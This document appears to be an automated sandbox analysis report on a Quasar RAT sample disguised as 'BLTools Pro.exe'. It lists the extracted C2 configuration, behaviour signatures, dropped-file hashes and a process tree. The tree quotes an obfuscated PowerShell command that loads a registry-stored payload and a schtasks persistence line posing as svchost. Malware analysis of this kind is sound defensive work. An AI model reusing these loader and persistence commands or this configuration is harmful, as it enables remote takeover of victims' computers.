Analysis

  • max time kernel
    146s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    25/06/2024, 02:59

General

  • Target
    BLTools Pro.exe
  • Size 2.4MB
  • Sample240625-dg6hvaxcpg
  • SHA256 ca0ff532b658ce9451485b2218bb3d2c8de127ffd10f223e8ec1a4b28692cb47
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • prompt

C2
  • due-audience.gl.at.ply.gg:45518

Mutex
  • b28c808d-eaca-413f-8394-c867a7f1facf

Attributes
  • encryption_key

    9AEA0350E58BC022C245C040A4391586474F8E95

  • install_name

    svchost.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    svchost

  • subdirectory

    SubDir

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:428
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{8c1d3cf3-e124-4212-a575-48b7747eb32c}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2824
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:476
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:604
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k RPCSS
            2⤵
              PID:680
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
              2⤵
              • Modifies security service
              PID:744
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
              2⤵
                PID:816
                • C:\Windows\system32\Dwm.exe
                  "C:\Windows\system32\Dwm.exe"
                  3⤵
                    PID:1172
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:852
                  • C:\Windows\system32\taskeng.exe
                    taskeng.exe {F9F9FBC9-C5D6-4E48-B5C4-90FED635E08B} S-1-5-18:NT AUTHORITY\System:Service:
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1664
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'7'+'7'+''+'s'+'ta'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
                      4⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2156
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService
                  2⤵
                    PID:968
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k NetworkService
                    2⤵
                      PID:236
                    • C:\Windows\System32\spoolsv.exe
                      C:\Windows\System32\spoolsv.exe
                      2⤵
                        PID:300
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                        2⤵
                          PID:1068
                        • C:\Windows\system32\taskhost.exe
                          "taskhost.exe"
                          2⤵
                            PID:1108
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                            2⤵
                              PID:2084
                            • C:\Windows\system32\sppsvc.exe
                              C:\Windows\system32\sppsvc.exe
                              2⤵
                                PID:1156
                              • C:\Windows\svchost.exe
                                C:\Windows\svchost.exe
                                2⤵
                                • Executes dropped EXE
                                • Drops file in Program Files directory
                                PID:2444
                            • C:\Windows\system32\lsass.exe
                              C:\Windows\system32\lsass.exe
                              1⤵
                                PID:484
                              • C:\Windows\system32\lsm.exe
                                C:\Windows\system32\lsm.exe
                                1⤵
                                  PID:492
                                • C:\Windows\Explorer.EXE
                                  C:\Windows\Explorer.EXE
                                  1⤵
                                    PID:1200
                                    • C:\Users\Admin\AppData\Local\Temp\BLTools Pro.exe
                                      "C:\Users\Admin\AppData\Local\Temp\BLTools Pro.exe"
                                      2⤵
                                      • Adds Run key to start application
                                      • Suspicious use of WriteProcessMemory
                                      PID:2112
                                      • C:\Windows\System32\schtasks.exe
                                        "C:\Windows\System32\schtasks.exe" /Create /F /TN "svchost" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\svchost.exe" /RL HIGHEST
                                        3⤵
                                        • Scheduled Task/Job: Scheduled Task
                                        PID:2304
                                      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Suspicious use of WriteProcessMemory
                                        PID:2380
                                        • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Drops file in Windows directory
                                          • Suspicious use of WriteProcessMemory
                                          PID:2832
                                          • C:\Windows\svchost.exe
                                            "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious use of WriteProcessMemory
                                            PID:2172
                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              PID:2592
                                        • C:\Users\Admin\AppData\Local\Temp\$77.exe
                                          "C:\Users\Admin\AppData\Local\Temp\$77.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:2536
                                      • C:\Users\Admin\AppData\Local\Temp\BLTools.exe
                                        "C:\Users\Admin\AppData\Local\Temp\BLTools.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        PID:2660

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        $77.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\$77.exe
                                        • Size 3.1MB
                                        • SHA256 cc3d5680e1a9c52e735e64065fc40db6530fbd90a1576fbf7ae2cb621c6866bf
                                        • MD5 SHA1 SHA512 SSDEEP

                                        BLTools.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\BLTools.exe
                                        • Size 2.0MB
                                        • SHA256 dc5e70f6ef6c705034aa4586af024e098edab5d8faba9479ebab93bebf342c13
                                        • MD5 SHA1 SHA512 SSDEEP

                                        Install.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\Install.exe
                                        • Size 198KB
                                        • SHA256 0c4ce7345032426a2e2d40db5ade634a20d11c2af68ae9a4d6412a966835cb8a
                                        • MD5 SHA1 SHA512 SSDEEP

                                        svchost.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                        • Size 1.3MB
                                        • SHA256 3df1ea2d56c62e4f9baa85a62572ca75d3e43f16833e3d40c9c5f71497eeccc7
                                        • MD5 SHA1 SHA512 SSDEEP

                                        svchost.exe

                                        • Path C:\Windows\svchost.exe
                                        • Size 35KB
                                        • SHA256 20af03add533a6870d524a7c4753b42bfceb56cddd46016c051e23581ba743f8
                                        • MD5 SHA1 SHA512 SSDEEP

                                        Install.exe

                                        • Path \Users\Admin\AppData\Local\Temp\Install.exe
                                        • Size 163KB
                                        • SHA256 b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
                                        • MD5 SHA1 SHA512 SSDEEP

                                        memory/428-74-0x0000000000DF0000-0x0000000000E1B000-memory.dmp

                                        memory/428-72-0x0000000000B00000-0x0000000000B25000-memory.dmp

                                        memory/428-80-0x0000000000DF0000-0x0000000000E1B000-memory.dmp

                                        memory/428-70-0x0000000000B00000-0x0000000000B25000-memory.dmp

                                        memory/428-81-0x000007FEBD710000-0x000007FEBD720000-memory.dmp

                                        memory/428-73-0x0000000000DF0000-0x0000000000E1B000-memory.dmp

                                        memory/428-82-0x0000000036F00000-0x0000000036F10000-memory.dmp

                                        memory/476-96-0x0000000036F00000-0x0000000036F10000-memory.dmp

                                        memory/476-88-0x00000000003B0000-0x00000000003DB000-memory.dmp

                                        memory/476-94-0x00000000003B0000-0x00000000003DB000-memory.dmp

                                        memory/476-95-0x000007FEBD710000-0x000007FEBD720000-memory.dmp

                                        memory/484-109-0x000007FEBD710000-0x000007FEBD720000-memory.dmp

                                        memory/484-102-0x0000000000180000-0x00000000001AB000-memory.dmp

                                        memory/484-108-0x0000000000180000-0x00000000001AB000-memory.dmp

                                        memory/484-110-0x0000000036F00000-0x0000000036F10000-memory.dmp

                                        memory/492-116-0x00000000003E0000-0x000000000040B000-memory.dmp

                                        memory/2112-17-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

                                        memory/2112-4-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

                                        memory/2112-0-0x000007FEF4D53000-0x000007FEF4D54000-memory.dmp

                                        memory/2112-1-0x0000000000800000-0x0000000000A6E000-memory.dmp

                                        memory/2156-57-0x0000000076EC0000-0x0000000077069000-memory.dmp

                                        memory/2156-58-0x0000000076CA0000-0x0000000076DBF000-memory.dmp

                                        memory/2156-54-0x0000000019F80000-0x000000001A262000-memory.dmp

                                        memory/2156-55-0x0000000000A50000-0x0000000000A58000-memory.dmp

                                        memory/2156-56-0x0000000001590000-0x00000000015BA000-memory.dmp

                                        memory/2172-51-0x0000000000400000-0x000000000040D000-memory.dmp

                                        memory/2380-9-0x0000000000FA0000-0x00000000010FC000-memory.dmp

                                        memory/2536-49-0x0000000001370000-0x0000000001694000-memory.dmp

                                        memory/2660-22-0x00000000006B0000-0x00000000006BA000-memory.dmp

                                        memory/2660-23-0x00000000006B0000-0x00000000006BA000-memory.dmp

                                        memory/2660-222-0x00000000006B0000-0x00000000006BA000-memory.dmp

                                        memory/2660-18-0x0000000000F70000-0x0000000001172000-memory.dmp

                                        memory/2660-19-0x0000000004DF0000-0x000000000571C000-memory.dmp

                                        memory/2660-20-0x0000000000B90000-0x0000000000BE0000-memory.dmp

                                        memory/2660-21-0x0000000004980000-0x00000000049E0000-memory.dmp

                                        memory/2824-65-0x0000000076EC0000-0x0000000077069000-memory.dmp

                                        memory/2824-62-0x0000000140000000-0x0000000140008000-memory.dmp

                                        memory/2824-64-0x0000000140000000-0x0000000140008000-memory.dmp

                                        memory/2824-66-0x0000000076CA0000-0x0000000076DBF000-memory.dmp

                                        memory/2824-59-0x0000000140000000-0x0000000140008000-memory.dmp

                                        memory/2824-67-0x0000000140000000-0x0000000140008000-memory.dmp

                                        memory/2824-61-0x0000000140000000-0x0000000140008000-memory.dmp

                                        memory/2824-60-0x0000000140000000-0x0000000140008000-memory.dmp

                                        memory/2832-37-0x0000000000400000-0x0000000000432000-memory.dmp